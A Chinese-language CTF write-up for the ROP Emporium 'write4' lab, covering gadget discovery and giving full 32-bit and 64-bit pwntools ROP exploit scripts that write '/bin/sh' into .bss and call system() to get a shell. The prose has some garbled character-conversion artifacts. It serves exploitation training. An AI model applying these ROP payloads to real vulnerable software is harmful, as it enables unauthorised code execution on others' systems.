ropemporium上的鏈接
https://ropemporium.com/
32位
checksec后試運(yùn)行

32位ida


發(fā)現(xiàn)棧溢出漏洞
再次發(fā)現(xiàn)usefulFunction,找到system在plt地址為0x08048430,但是參數(shù)不對


shift+F12找字符串,發(fā)現(xiàn)沒有想要的

那我們就試著把"sh"寫進(jìn)去bss段(好像說data段也行),因?yàn)?2位是4個字節(jié),不能一次性傳入/bin/sh,當(dāng)然也可以傳入/bin/sh,只是要分兩次,可以參考
http://www.itdecent.cn/p/d385e23b2a94
http://www.itdecent.cn/p/d1059b77d018
ida里ctrl+s可以查看data段和bss段的權(quán)限

終端時輸入命令
ROPgadget --binary write432 --only "mov|pop|ret"

用ROPgadget找到了兩條指令
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret
第一條指令 edi 存的是bss 段的地址,ebp 存的是要寫入的數(shù)據(jù)
第二條指令是指將 ebp 中的內(nèi)容寫到 edi 內(nèi)存的所在地址
腳本如下
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write432')
p = process('./write432')
system_plt = 0x08048430#system_plt = elf.plt['system']
bss = 0x0804A040#bss = elf.bss()
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670
payload = ''
payload += 0x28*'A'
payload += p32(0)
payload += p32(pop_edi_ebp)
payload += p32(bss)
payload += 'sh\x00\x00'
payload += p32(mov_edi_ebp)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)
p.sendline(payload)
p.interactive()

64位
64位大同小異
輸入命令
ROPgadget --binary write4 --only "mov|pop|ret"

我們選用這兩條指令,同時控制r14和r15
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
還要用到pop rdi;ret;
0x0000000000400893 : pop rdi ; ret
腳本如下
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write4')
p = process('./write4')
system_plt = elf.plt['system']
bss = elf.bss()
pop_r14_r15 = 0x400890
mov_r14_r15 = 0x400820
pop_rdi = 0x400893
payload = ''
payload += 0x20*'A'
payload += p64(0)
payload += p64(pop_r14_r15)
payload += p64(bss)
payload += '/bin/sh\x00'
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)
p.sendline(payload)
p.interactive()
